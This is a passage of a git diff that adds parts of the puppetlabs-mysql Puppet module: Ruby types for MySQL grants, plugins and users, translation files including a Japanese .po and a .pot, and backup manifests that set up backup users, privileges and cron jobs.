index 000000000..c8929d8dc
--- /dev/null
+++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/lib/puppet/type/mysql_grant.rb
@@ -0,0 +1,117 @@
+# This has to be a separate type to enable collecting
+Puppet::Type.newtype(:mysql_grant) do
+ @doc = "Manage a MySQL user's rights."
+ ensurable
+
+ autorequire(:file) { '/root/.my.cnf' }
+ autorequire(:mysql_user) { self[:user] }
+
+ def initialize(*args)
+ super
+ # Forcibly munge any privilege with 'ALL' in the array to exist of just
+ # 'ALL'. This can't be done in the munge in the property as that iterates
+ # over the array and there's no way to replace the entire array before it's
+ # returned to the provider.
+ if self[:ensure] == :present && Array(self[:privileges]).count > 1 && self[:privileges].to_s.include?('ALL')
+ self[:privileges] = 'ALL'
+ end
+ # Sort the privileges array in order to ensure the comparision in the provider
+ # self.instances method match. Otherwise this causes it to keep resetting the
+ # privileges.
+ # rubocop:disable Style/MultilineBlockChain
+ self[:privileges] = Array(self[:privileges]).map { |priv|
+ # split and sort the column_privileges in the parentheses and rejoin
+ if priv.include?('(')
+ type, col = priv.strip.split(%r{\s+|\b}, 2)
+ type.upcase + ' (' + col.slice(1...-1).strip.split(%r{\s*,\s*}).sort.join(', ') + ')'
+ else
+ priv.strip.upcase
+ end
+ }.uniq.reject { |k| k == 'GRANT' || k == 'GRANT OPTION' }.sort!
+ end
+ # rubocop:enable Style/MultilineBlockChain
+ validate do
+ raise(_('`privileges` `parameter` is required.')) if self[:ensure] == :present && self[:privileges].nil?
+ raise(_('`privileges` `parameter`: PROXY can only be specified by itself.')) if Array(self[:privileges]).count > 1 && Array(self[:privileges]).include?('PROXY')
+ raise(_('`table` `parameter` is required.')) if self[:ensure] == :present && self[:table].nil?
+ raise(_('`user` `parameter` is required.')) if self[:ensure] == :present && self[:user].nil?
+ if self[:user] && self[:table]
+ raise(_('`name` `parameter` must match user@host/table format.')) if self[:name] != "#{self[:user]}/#{self[:table]}"
+ end
+ end
+
+ newparam(:name, namevar: true) do
+ desc 'Name to describe the grant.'
+
+ munge do |value|
+ value.delete("'")
+ end
+ end
+
+ newproperty(:privileges, array_matching: :all) do
+ desc 'Privileges for user'
+
+ validate do |value|
+ mysql_version = Facter.value(:mysql_version)
+ if value =~ %r{proxy}i && Puppet::Util::Package.versioncmp(mysql_version, '5.5.0') < 0
+ raise(ArgumentError, _('PROXY user not supported on mysql versions < 5.5.0. Current version %{version}.') % { version: mysql_version })
+ end
+ end
+ end
+
+ newproperty(:table) do
+ desc 'Table to apply privileges to.'
+
+ validate do |value|
+ if Array(@resource[:privileges]).include?('PROXY') && !%r{^[0-9a-zA-Z$_]*@[\w%\.:\-\/]*$}.match(value)
+ raise(ArgumentError, _('`table` `property` for PROXY should be specified as proxy_user@proxy_host.'))
+ end
+ end
+
+ munge do |value|
+ value.delete('`')
+ end
+
+ newvalues(%r{.*\..*}, %r{^[0-9a-zA-Z$_]*@[\w%\.:\-/]*$})
+ end
+
+ newproperty(:user) do
+ desc 'User to operate on.'
+ validate do |value|
+ # http://dev.mysql.com/doc/refman/5.5/en/identifiers.html
+ # If at least one special char is used, string must be quoted
+ # http://stackoverflow.com/questions/8055727/negating-a-backreference-in-regular-expressions/8057827#8057827
+ # rubocop:disable Lint/AssignmentInCondition
+ # rubocop:disable Lint/UselessAssignment
+ if matches = %r{^(['`"])((?!\1).)*\1@([\w%\.:\-/]+)$}.match(value)
+ user_part = matches[2]
+ host_part = matches[3]
+ elsif matches = %r{^([0-9a-zA-Z$_]*)@([\w%\.:\-/]+)$}.match(value)
+ user_part = matches[1]
+ host_part = matches[2]
+ elsif matches = %r{^((?!['`"]).*[^0-9a-zA-Z$_].*)@(.+)$}.match(value)
+ user_part = matches[1]
+ host_part = matches[2]
+ else
+ raise(ArgumentError, _('Invalid database user %{user}.') % { user: value })
+ end
+ # rubocop:enable Lint/AssignmentInCondition
+ # rubocop:enable Lint/UselessAssignment
+ mysql_version = Facter.value(:mysql_version)
+ unless mysql_version.nil?
+ raise(ArgumentError, _('MySQL usernames are limited to a maximum of 16 characters.')) if Puppet::Util::Package.versioncmp(mysql_version, '5.7.8') < 0 && user_part.size > 16
+ raise(ArgumentError, _('MySQL usernames are limited to a maximum of 32 characters.')) if Puppet::Util::Package.versioncmp(mysql_version, '10.0.0') < 0 && user_part.size > 32
+ raise(ArgumentError, _('MySQL usernames are limited to a maximum of 80 characters.')) if Puppet::Util::Package.versioncmp(mysql_version, '10.0.0') > 0 && user_part.size > 80
+ end
+ end
+
+ munge do |value|
+ matches = %r{^((['`"]?).*\2)@(.+)$}.match(value)
+ "#{matches[1]}@#{matches[3].downcase}"
+ end
+ end
+
+ newproperty(:options, array_matching: :all) do
+ desc 'Options to grant.'
+ end
+end
diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/lib/puppet/type/mysql_plugin.rb b/modules/services/unix/database/mysql_stretch_compatible/mysql/lib/puppet/type/mysql_plugin.rb
new file mode 100644
index 000000000..029220e18
--- /dev/null
+++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/lib/puppet/type/mysql_plugin.rb
@@ -0,0 +1,16 @@
+Puppet::Type.newtype(:mysql_plugin) do
+ @doc = 'Manage MySQL plugins.'
+
+ ensurable
+
+ autorequire(:file) { '/root/.my.cnf' }
+
+ newparam(:name, namevar: true) do
+ desc 'The name of the MySQL plugin to manage.'
+ end
+
+ newproperty(:soname) do
+ desc 'The name of the library'
+ newvalue(%r{^\w+\.\w+$})
+ end
+end
diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/lib/puppet/type/mysql_user.rb b/modules/services/unix/database/mysql_stretch_compatible/mysql/lib/puppet/type/mysql_user.rb
new file mode 100644
index 000000000..8a564edd6
--- /dev/null
+++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/lib/puppet/type/mysql_user.rb
@@ -0,0 +1,115 @@
+# This has to be a separate type to enable collecting
+Puppet::Type.newtype(:mysql_user) do
+ @doc = 'Manage a MySQL user. This includes management of users password as well as privileges.'
+
+ ensurable
+
+ autorequire(:file) { '/root/.my.cnf' }
+ autorequire(:class) { 'mysql::server' }
+
+ newparam(:name, namevar: true) do
+ desc "The name of the user. This uses the 'username@hostname' or username@hostname."
+ validate do |value|
+ # http://dev.mysql.com/doc/refman/5.5/en/identifiers.html
+ # If at least one special char is used, string must be quoted
+ # http://stackoverflow.com/questions/8055727/negating-a-backreference-in-regular-expressions/8057827#8057827
+ mysql_version = Facter.value(:mysql_version)
+ # rubocop:disable Lint/AssignmentInCondition
+ # rubocop:disable Lint/UselessAssignment
+ if matches = %r{^(['`"])((?:(?!\1).)*)\1@([\w%\.:\-/]+)$}.match(value)
+ user_part = matches[2]
+ host_part = matches[3]
+ elsif matches = %r{^([0-9a-zA-Z$_]*)@([\w%\.:\-/]+)$}.match(value)
+ user_part = matches[1]
+ host_part = matches[2]
+ elsif matches = %r{^((?!['`"]).*[^0-9a-zA-Z$_].*)@(.+)$}.match(value)
+ user_part = matches[1]
+ host_part = matches[2]
+ else
+ raise ArgumentError, _('Invalid database user %{user}.') % { user: value }
+ end
+ # rubocop:enable Lint/AssignmentInCondition
+ # rubocop:enable Lint/UselessAssignment
+ unless mysql_version.nil?
+ raise(ArgumentError, _('MySQL usernames are limited to a maximum of 16 characters.')) if Puppet::Util::Package.versioncmp(mysql_version, '5.7.8') < 0 && user_part.size > 16
+ raise(ArgumentError, _('MySQL usernames are limited to a maximum of 32 characters.')) if Puppet::Util::Package.versioncmp(mysql_version, '10.0.0') < 0 && user_part.size > 32
+ raise(ArgumentError, _('MySQL usernames are limited to a maximum of 80 characters.')) if Puppet::Util::Package.versioncmp(mysql_version, '10.0.0') > 0 && user_part.size > 80
+ end
+ end
+
+ munge do |value|
+ matches = %r{^((['`"]?).*\2)@(.+)$}.match(value)
+ "#{matches[1]}@#{matches[3].downcase}"
+ end
+ end
+
+ newproperty(:password_hash) do
+ desc 'The password hash of the user. Use mysql_password() for creating such a hash.'
+ newvalue(%r{\w*})
+
+ def change_to_s(currentvalue, _newvalue)
+ (currentvalue == :absent) ? 'created password' : 'changed password'
+ end
+
+ # rubocop:disable Style/PredicateName
+ def is_to_s(_currentvalue)
+ '[old password hash redacted]'
+ end
+ # rubocop:enable Style/PredicateName
+
+ def should_to_s(_newvalue)
+ '[new password hash redacted]'
+ end
+ end
+
+ newproperty(:plugin) do
+ desc 'The authentication plugin of the user.'
+ newvalue(%r{\w+})
+ end
+
+ newproperty(:max_user_connections) do
+ desc 'Max concurrent connections for the user. 0 means no (or global) limit.'
+ newvalue(%r{\d+})
+ end
+
+ newproperty(:max_connections_per_hour) do
+ desc 'Max connections per hour for the user. 0 means no (or global) limit.'
+ newvalue(%r{\d+})
+ end
+
+ newproperty(:max_queries_per_hour) do
+ desc 'Max queries per hour for the user. 0 means no (or global) limit.'
+ newvalue(%r{\d+})
+ end
+
+ newproperty(:max_updates_per_hour) do
+ desc 'Max updates per hour for the user. 0 means no (or global) limit.'
+ newvalue(%r{\d+})
+ end
+
+ newproperty(:tls_options, array_matching: :all) do
+ desc 'Options to that set the TLS-related REQUIRE attributes for the user.'
+ validate do |value|
+ value = [value] unless value.is_a?(Array)
+ if value.include?('NONE') || value.include?('SSL') || value.include?('X509')
+ if value.length > 1
+ raise(ArgumentError, _('`tls_options` `property`: The values NONE, SSL and X509 cannot be used with other options, you may only pick one of them.'))
+ end
+ else
+ value.each do |opt|
+ o = opt.match(%r{^(CIPHER|ISSUER|SUBJECT)}i)
+ raise(ArgumentError, _('Invalid tls option %{option}.') % { option: o }) unless o
+ end
+ end
+ end
+ def insync?(is)
+ # The current value may be nil and we don't
+ # want to call sort on it so make sure we have arrays
+ if is.is_a?(Array) && @should.is_a?(Array)
+ is.sort == @should.sort
+ else
+ is == @should
+ end
+ end
+ end
+end
diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/locales/config.yaml b/modules/services/unix/database/mysql_stretch_compatible/mysql/locales/config.yaml
new file mode 100644
index 000000000..e3f7805bb
--- /dev/null
+++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/locales/config.yaml
@@ -0,0 +1,26 @@
+---
+# This is the project-specific configuration file for setting up
+# fast_gettext for your project.
+gettext:
+ # This is used for the name of the .pot and .po files; they will be
+ # called .pot?
+ project_name: puppetlabs-mysql
+ # This is used in comments in the .pot and .po files to indicate what
+ # project the files belong to and should bea little more desctiptive than
+ #
+ package_name: puppetlabs-mysql
+ # The locale that the default messages in the .pot file are in
+ default_locale: en
+ # The email used for sending bug reports.
+ bugs_address: docs@puppet.com
+ # The holder of the copyright.
+ copyright_holder: Puppet, Inc.
+ # This determines which comments in code should be eligible for translation.
+ # Any comments that start with this string will be externalized. (Leave
+ # empty to include all.)
+ comments_tag: TRANSLATOR
+ # Patterns for +Dir.glob+ used to find all files that might contain
+ # translatable content, relative to the project root directory
+ source_files:
+ - './lib/**/*.rb'
+
diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/locales/ja/puppetlabs-mysql.po b/modules/services/unix/database/mysql_stretch_compatible/mysql/locales/ja/puppetlabs-mysql.po
new file mode 100644
index 000000000..b3ace5f2b
--- /dev/null
+++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/locales/ja/puppetlabs-mysql.po
@@ -0,0 +1,190 @@
+#
+#, fuzzy
+msgid ""
+msgstr ""
+"Project-Id-Version: PACKAGE VERSION\n"
+"Report-Msgid-Bugs-To: \n"
+"POT-Creation-Date: 2017-09-06T16:20:13+01:00\n"
+"PO-Revision-Date: YEAR-MO-DA HO:MI+ZONE\n"
+"Last-Translator: Kojima Ai , 2017\n"
+"Language-Team: Japanese (Japan) (https://www.transifex.com/puppet/teams/29089/ja_JP/)\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"Language: ja_JP\n"
+"Plural-Forms: nplurals=1; plural=0;\n"
+"X-Generator: Translate Toolkit 2.0.0\n"
+
+#. ./manifests/bindings/client_dev.pp:12
+msgid "No MySQL client development package configured for %{os}."
+msgstr "%{os}向けに設定されたMySQLクライアント開発パッケージはありません。"
+
+#. ./manifests/bindings/daemon_dev.pp:12
+msgid "No MySQL daemon development package configured for %{os}."
+msgstr "%{os}向けに設定されたMySQLデーモン開発パッケージはありません。"
+
+#. ./manifests/bindings.pp:38
+msgid ""
+"::mysql::bindings::java cannot be managed by puppet on %{osfamily} as it is "
+"not in official repositories. Please disable java mysql binding."
+msgstr ""
+"::mysql::bindings::javaは、公式なリポジトリではなく%{osfamily}にあるそのままの状態では、Puppetによる管理はできません。java"
+" mysqlバインディングを無効にしてください。"
+
+#. ./manifests/bindings.pp:40
+msgid ""
+"::mysql::bindings::php does not need to be managed by puppet on %{osfamily} "
+"as it is included in mysql package by default."
+msgstr ""
+"::mysql::bindings::phpは、%{osfamily}上にデフォルトでMySQLパッケージに含まれた状態のまま、Puppetで管理する必要はありません。"
+
+#. ./manifests/bindings.pp:42
+msgid ""
+"::mysql::bindings::ruby cannot be managed by puppet on %{osfamily} as it is "
+"not in official repositories. Please disable ruby mysql binding."
+msgstr ""
+"::mysql::bindings::rubyは、公式なリポジトリではなく%{osfamily}にあるそのままの状態では、Puppetによる管理はできません。ruby"
+" mysqlバインディングを無効にしてください。"
+
+#. ./manifests/params.pp:124
+msgid ""
+"Unsupported platform: puppetlabs-%{module_name} currently doesn't support "
+"%{os}."
+msgstr "サポート対象外のプラットフォーム: puppetlabs-%{module_name}は、現在%{os}をサポートしていません"
+
+#. ./manifests/params.pp:381
+msgid ""
+"Unsupported platform: puppetlabs-%{module_name} currently doesn't support "
+"%{osfamily} or %{os}."
+msgstr ""
+"サポート対象外のプラットフォーム: "
+"puppetlabs-%{module_name}は、現在%{osfamily}または%{os}をサポートしていません"
+
+#. ./manifests/params.pp:465
+msgid ""
+"Unsupported platform: puppetlabs-%{module_name} only supports RedHat 5.0 and"
+" beyond."
+msgstr "サポート対象外のプラットフォーム: puppetlabs-%{module_name}は、RedHat 5.0以降のみをサポートしています"
+
+#. ./manifests/server/backup.pp:28
+msgid ""
+"The 'prescript' option is not currently implemented for the %{provider} "
+"backup provider."
+msgstr "'prescript'オプションは、現在、%{provider}バックアッププロバイダ向けには実装されていません。"
+
+#. ./manifests/server.pp:48
+msgid ""
+"The `old_root_password` attribute is no longer used and will be removed in a"
+" future release."
+msgstr "`old_root_password`属性は廃止予定であり、今後のリリースで廃止されます。"
+
+#. metadata.json
+#: .summary
+msgid "Installs, configures, and manages the MySQL service."
+msgstr "MySQLサービスをインストール、設定、管理します。"
+
+#. metadata.json
+#: .description
+msgid "MySQL module"
+msgstr "MySQLモジュール"
+
+#: ./lib/puppet/parser/functions/mysql_deepmerge.rb:22
+msgid ""
+"mysql_deepmerge(): wrong number of arguments (%{args_length}; must be at "
+"least 2)"
+msgstr "mysql_deepmerge(): 引数の数が正しくありません(%{args_length}; 2以上にする必要があります)"
+
+#: ./lib/puppet/parser/functions/mysql_deepmerge.rb:30
+msgid ""
+"mysql_deepmerge: unexpected argument type %{arg_class}, only expects hash "
+"arguments."
+msgstr "mysql_deepmerge: 予期せぬ引数タイプ%{arg_class}です。想定される引数はハッシュ引数のみです。"
+
+#: ./lib/puppet/parser/functions/mysql_dirname.rb:9
+msgid ""
+"mysql_dirname(): Wrong number of arguments given (%{args_length} for 1)"
+msgstr "mysql_dirname(): 指定された引数の数が正しくありません(%{args_length}は1)"
+
+#: ./lib/puppet/parser/functions/mysql_password.rb:11
+msgid ""
+"mysql_password(): Wrong number of arguments given (%{args_length} for 1)"
+msgstr "mysql_password(): 指定された引数の数が正しくありません(%{args_length}は1)"
+
+#: ./lib/puppet/parser/functions/mysql_strip_hash.rb:11
+msgid "mysql_strip_hash(): Requires a hash to work."
+msgstr "mysql_strip_hash(): 動作するにはハッシュが必要です。"
+
+#: ./lib/puppet/provider/mysql_datadir/mysql.rb:24
+msgid "Defaults-extra-file %{file} is missing."
+msgstr "Defaults-extra-file %{file}が見つかりません"
+
+#: ./lib/puppet/provider/mysql_datadir/mysql.rb:59
+msgid "ERROR: `Resource` can not be removed."
+msgstr "ERROR: `Resource`を削除できませんでした。"
+
+#: ./lib/puppet/provider/mysql_grant/mysql.rb:19
+msgid "#mysql had an error -> %{inspect}"
+msgstr "#mysqlにエラーがありました -> %{inspect}"
+
+#: ./lib/puppet/provider/mysql_user/mysql.rb:125
+msgid "Only mysql_native_password (*ABCD..XXX) hashes are supported."
+msgstr "mysql_native_password (*ABCD...XXX)ハッシュのみサポートされています。"
+
+#: ./lib/puppet/type/mysql_grant.rb:34
+msgid "`privileges` `parameter` is required."
+msgstr "`privileges` `parameter`が必要です。"
+
+#: ./lib/puppet/type/mysql_grant.rb:35
+msgid "`privileges` `parameter`: PROXY can only be specified by itself."
+msgstr "`privileges` `parameter`: PROXYは自身で指定することのみ可能です。"
+
+#: ./lib/puppet/type/mysql_grant.rb:36
+msgid "`table` `parameter` is required."
+msgstr "`table` `parameter`が必要です。"
+
+#: ./lib/puppet/type/mysql_grant.rb:37
+msgid "`user` `parameter` is required."
+msgstr "`user` `parameter`が必要です。"
+
+#: ./lib/puppet/type/mysql_grant.rb:39
+msgid "`name` `parameter` must match user@host/table format."
+msgstr "`name` `parameter`はuser@host/tableの形式と一致している必要があります。"
+
+#: ./lib/puppet/type/mysql_grant.rb:57
+msgid ""
+"PROXY user not supported on mysql versions < 5.5.0. Current version "
+"%{version}."
+msgstr "PROXYユーザはmysql 5.5.0以前のバージョンではサポートされていません。現在のバージョン%{version}"
+
+#: ./lib/puppet/type/mysql_grant.rb:67
+msgid ""
+"`table` `property` for PROXY should be specified as proxy_user@proxy_host."
+msgstr "PROXYの`table` `property`はproxy_user@proxy_hostとして指定されている必要があります。"
+
+#: ./lib/puppet/type/mysql_grant.rb:96 ./lib/puppet/type/mysql_user.rb:29
+msgid "Invalid database user %{user}."
+msgstr "無効なデータベースのユーザ%{user}"
+
+#: ./lib/puppet/type/mysql_grant.rb:102 ./lib/puppet/type/mysql_user.rb:34
+msgid "MySQL usernames are limited to a maximum of 16 characters."
+msgstr "MySQLユーザ名は最大16文字に制限されています。"
+
+#: ./lib/puppet/type/mysql_grant.rb:103 ./lib/puppet/type/mysql_user.rb:35
+msgid "MySQL usernames are limited to a maximum of 32 characters."
+msgstr "MySQLユーザ名は最大32文字に制限されています。"
+
+#: ./lib/puppet/type/mysql_grant.rb:104 ./lib/puppet/type/mysql_user.rb:36
+msgid "MySQL usernames are limited to a maximum of 80 characters."
+msgstr "MySQLユーザ名は最大80文字に制限されています。"
+
+#: ./lib/puppet/type/mysql_user.rb:82
+msgid ""
+"`tls_options` `property`: The values NONE, SSL and X509 cannot be used with "
+"other options, you may only pick one of them."
+msgstr ""
+"`tls_options` `property`: "
+"NONE、SSL、X509は他のオプションと同時に使用することはできません。いずれか1つのみ選択可能です。"
+
+#: ./lib/puppet/type/mysql_user.rb:87
+msgid "Invalid tls option %{option}."
+msgstr "無効なtlsオプション%{option}"
diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/locales/puppetlabs-mysql.pot b/modules/services/unix/database/mysql_stretch_compatible/mysql/locales/puppetlabs-mysql.pot
new file mode 100644
index 000000000..da8f458bf
--- /dev/null
+++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/locales/puppetlabs-mysql.pot
@@ -0,0 +1,176 @@
+"Project-Id-Version: puppetlabs-mysql 3.11.0-50-gd122d86\n"
+"\n"
+"Report-Msgid-Bugs-To: docs@puppet.com\n"
+"POT-Creation-Date: 2017-09-14 14:21+0100\n"
+"PO-Revision-Date: 2017-09-14 14:21+0100\n"
+"Last-Translator: FULL NAME \n"
+"Language-Team: LANGUAGE \n"
+"Language: \n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"Plural-Forms: nplurals=INTEGER; plural=EXPRESSION;\n"
+
+#. metadata.json
+#: .summary
+msgid "Installs, configures, and manages the MySQL service."
+msgstr ""
+
+#. metadata.json
+#: .description
+msgid "MySQL module"
+msgstr ""
+
+#. ./manifests/bindings/client_dev.pp:12
+msgid "No MySQL client development package configured for %{os}."
+msgstr ""
+
+#. ./manifests/bindings/daemon_dev.pp:12
+msgid "No MySQL daemon development package configured for %{os}."
+msgstr ""
+
+#. ./manifests/bindings.pp:38
+msgid ""
+"::mysql::bindings::java cannot be managed by puppet on %{osfamily} as it is "
+"not in official repositories. Please disable java mysql binding."
+msgstr ""
+
+#. ./manifests/bindings.pp:40
+msgid ""
+"::mysql::bindings::php does not need to be managed by puppet on %{osfamily} "
+"as it is included in mysql package by default."
+msgstr ""
+
+#. ./manifests/bindings.pp:42
+msgid ""
+"::mysql::bindings::ruby cannot be managed by puppet on %{osfamily} as it is "
+"not in official repositories. Please disable ruby mysql binding."
+msgstr ""
+
+#. ./manifests/params.pp:124
+msgid ""
+"Unsupported platform: puppetlabs-%{module_name} currently doesn't support "
+"%{os}."
+msgstr ""
+
+#. ./manifests/params.pp:381
+msgid ""
+"Unsupported platform: puppetlabs-%{module_name} currently doesn't support "
+"%{osfamily} or %{os}."
+msgstr ""
+
+#. ./manifests/params.pp:465
+msgid ""
+"Unsupported platform: puppetlabs-%{module_name} only supports RedHat 5.0 and "
+"beyond."
+msgstr ""
+
+#. ./manifests/server/backup.pp:28
+msgid ""
+"The 'prescript' option is not currently implemented for the %{provider} "
+"backup provider."
+msgstr ""
+
+#. ./manifests/server.pp:48
+msgid ""
+"The `old_root_password` attribute is no longer used and will be removed in a "
+"future release."
+msgstr ""
+
+#: ./lib/puppet/parser/functions/mysql_deepmerge.rb:22
+msgid ""
+"mysql_deepmerge(): wrong number of arguments (%{args_length}; must be at "
+"least 2)"
+msgstr ""
+
+#: ./lib/puppet/parser/functions/mysql_deepmerge.rb:30
+msgid ""
+"mysql_deepmerge: unexpected argument type %{arg_class}, only expects hash "
+"arguments."
+msgstr ""
+
+#: ./lib/puppet/parser/functions/mysql_dirname.rb:9
+msgid "mysql_dirname(): Wrong number of arguments given (%{args_length} for 1)"
+msgstr ""
+
+#: ./lib/puppet/parser/functions/mysql_password.rb:11
+msgid ""
+"mysql_password(): Wrong number of arguments given (%{args_length} for 1)"
+msgstr ""
+
+#: ./lib/puppet/parser/functions/mysql_strip_hash.rb:11
+msgid "mysql_strip_hash(): Requires a hash to work."
+msgstr ""
+
+#: ./lib/puppet/provider/mysql_datadir/mysql.rb:24
+msgid "Defaults-extra-file %{file} is missing."
+msgstr ""
+
+#: ./lib/puppet/provider/mysql_datadir/mysql.rb:59
+msgid "ERROR: `Resource` can not be removed."
+msgstr ""
+
+#: ./lib/puppet/provider/mysql_grant/mysql.rb:19
+msgid "#mysql had an error -> %{inspect}"
+msgstr ""
+
+#: ./lib/puppet/provider/mysql_user/mysql.rb:125
+msgid "Only mysql_native_password (*ABCD...XXX) hashes are supported."
+msgstr ""
+
+#: ./lib/puppet/type/mysql_grant.rb:34
+msgid "`privileges` `parameter` is required."
+msgstr ""
+
+#: ./lib/puppet/type/mysql_grant.rb:35
+msgid "`privileges` `parameter`: PROXY can only be specified by itself."
+msgstr ""
+
+#: ./lib/puppet/type/mysql_grant.rb:36
+msgid "`table` `parameter` is required."
+msgstr ""
+
+#: ./lib/puppet/type/mysql_grant.rb:37
+msgid "`user` `parameter` is required."
+msgstr ""
+
+#: ./lib/puppet/type/mysql_grant.rb:39
+msgid "`name` `parameter` must match user@host/table format."
+msgstr ""
+
+#: ./lib/puppet/type/mysql_grant.rb:57
+msgid ""
+"PROXY user not supported on mysql versions < 5.5.0. Current version "
+"%{version}."
+msgstr ""
+
+#: ./lib/puppet/type/mysql_grant.rb:67
+msgid ""
+"`table` `property` for PROXY should be specified as proxy_user@proxy_host."
+msgstr ""
+
+#: ./lib/puppet/type/mysql_grant.rb:96 ./lib/puppet/type/mysql_user.rb:29
+msgid "Invalid database user %{user}."
+msgstr ""
+
+#: ./lib/puppet/type/mysql_grant.rb:102 ./lib/puppet/type/mysql_user.rb:34
+msgid "MySQL usernames are limited to a maximum of 16 characters."
+msgstr ""
+
+#: ./lib/puppet/type/mysql_grant.rb:103 ./lib/puppet/type/mysql_user.rb:35
+msgid "MySQL usernames are limited to a maximum of 32 characters."
+msgstr ""
+
+#: ./lib/puppet/type/mysql_grant.rb:104 ./lib/puppet/type/mysql_user.rb:36
+msgid "MySQL usernames are limited to a maximum of 80 characters."
+msgstr ""
+
+#: ./lib/puppet/type/mysql_user.rb:82
+msgid ""
+"`tls_options` `property`: The values NONE, SSL and X509 cannot be used with "
+"other options, you may only pick one of them."
+msgstr ""
+
+#: ./lib/puppet/type/mysql_user.rb:87
+msgid "Invalid tls option %{option}."
+msgstr ""
diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/manifests/backup/mysqlbackup.pp b/modules/services/unix/database/mysql_stretch_compatible/mysql/manifests/backup/mysqlbackup.pp
new file mode 100644
index 000000000..08a5cc1d7
--- /dev/null
+++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/manifests/backup/mysqlbackup.pp
@@ -0,0 +1,107 @@
+# See README.me for usage.
+class mysql::backup::mysqlbackup (
+ $backupuser = '',
+ $backuppassword = '',
+ $maxallowedpacket = '1M',
+ $backupdir = '',
+ $backupdirmode = '0700',
+ $backupdirowner = 'root',
+ $backupdirgroup = $mysql::params::root_group,
+ $backupcompress = true,
+ $backuprotate = 30,
+ $ignore_events = true,
+ $delete_before_dump = false,
+ $backupdatabases = [],
+ $file_per_database = false,
+ $include_triggers = true,
+ $include_routines = false,
+ $ensure = 'present',
+ $time = ['23', '5'],
+ $prescript = false,
+ $postscript = false,
+ $execpath = '/usr/bin:/usr/sbin:/bin:/sbin',
+ $optional_args = [],
+) inherits mysql::params {
+
+ mysql_user { "${backupuser}@localhost":
+ ensure => $ensure,
+ password_hash => mysql_password($backuppassword),
+ require => Class['mysql::server::root_password'],
+ }
+
+ package { 'meb':
+ ensure => $ensure,
+ }
+
+ # http://dev.mysql.com/doc/mysql-enterprise-backup/3.11/en/mysqlbackup.privileges.html
+ mysql_grant { "${backupuser}@localhost/*.*":
+ ensure => $ensure,
+ user => "${backupuser}@localhost",
+ table => '*.*',
+ privileges => [ 'RELOAD', 'SUPER', 'REPLICATION CLIENT' ],
+ require => Mysql_user["${backupuser}@localhost"],
+ }
+
+ mysql_grant { "${backupuser}@localhost/mysql.backup_progress":
+ ensure => $ensure,
+ user => "${backupuser}@localhost",
+ table => 'mysql.backup_progress',
+ privileges => [ 'CREATE', 'INSERT', 'DROP', 'UPDATE' ],
+ require => Mysql_user["${backupuser}@localhost"],
+ }
+
+ mysql_grant { "${backupuser}@localhost/mysql.backup_history":
+ ensure => $ensure,
+ user => "${backupuser}@localhost",
+ table => 'mysql.backup_history',
+ privileges => [ 'CREATE', 'INSERT', 'SELECT', 'DROP', 'UPDATE' ],
+ require => Mysql_user["${backupuser}@localhost"],
+ }
+
+ cron { 'mysqlbackup-weekly':
+ ensure => $ensure,
+ command => 'mysqlbackup backup',
+ user => 'root',
+ hour => $time[0],
+ minute => $time[1],
+ weekday => '0',
+ require => Package['meb'],
+ }
+
+ cron { 'mysqlbackup-daily':
+ ensure => $ensure,
+ command => 'mysqlbackup --incremental backup',
+ user => 'root',
+ hour => $time[0],
+ minute => $time[1],
+ weekday => '1-6',
+ require => Package['meb'],
+ }
+
+ $default_options = {
+ 'mysqlbackup' => {
+ 'backup-dir' => $backupdir,
+ 'with-timestamp' => true,
+ 'incremental_base' => 'history:last_backup',
+ 'incremental_backup_dir' => $backupdir,
+ 'user' => $backupuser,
+ 'password' => $backuppassword,
+ }
+ }
+ $options = mysql_deepmerge($default_options, $mysql::server::override_options)
+
+ file { 'mysqlbackup-config-file':
+ path => '/etc/mysql/conf.d/meb.cnf',
+ content => template('mysql/meb.cnf.erb'),
+ mode => '0600',
+ }
+
+ file { 'mysqlbackupdir':
+ ensure => 'directory',
+ path => $backupdir,
+ mode => $backupdirmode,
+ owner => $backupdirowner,
+ group => $backupdirgroup,
+ }
+
+}
diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/manifests/backup/mysqldump.pp b/modules/services/unix/database/mysql_stretch_compatible/mysql/manifests/backup/mysqldump.pp
new file mode 100644
index 000000000..e8988dfc4
--- /dev/null
+++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/manifests/backup/mysqldump.pp
@@ -0,0 +1,77 @@
+# See README.me for usage.
+class mysql::backup::mysqldump (
+ $backupuser = '',
+ $backuppassword = '',
+ $backupdir = '',
+ $maxallowedpacket = '1M',
+ $backupdirmode = '0700',
+ $backupdirowner = 'root',
+ $backupdirgroup = $mysql::params::root_group,
+ $backupcompress = true,
+ $backuprotate = 30,
+ $ignore_events = true,
+ $delete_before_dump = false,
+ $backupdatabases = [],
+ $file_per_database = false,
+ $include_triggers = false,
+ $include_routines = false,
+ $ensure = 'present',
+ $time = ['23', '5'],
+ $prescript = false,
+ $postscript = false,
+ $execpath = '/usr/bin:/usr/sbin:/bin:/sbin',
+ $optional_args = [],
+) inherits mysql::params {
+
+ if $backupcompress {
+ ensure_packages(['bzip2'])
+ Package['bzip2'] -> File['mysqlbackup.sh']
+ }
+
+ mysql_user { "${backupuser}@localhost":
+ ensure => $ensure,
+ password_hash => mysql_password($backuppassword),
+ require => Class['mysql::server::root_password'],
+ }
+
+ if $include_triggers {
+ $privs = [ 'SELECT', 'RELOAD', 'LOCK TABLES', 'SHOW VIEW', 'PROCESS', 'TRIGGER' ]
+ } else {
+ $privs = [ 'SELECT', 'RELOAD', 'LOCK TABLES', 'SHOW VIEW', 'PROCESS' ]
+ }
+
+ mysql_grant { "${backupuser}@localhost/*.*":
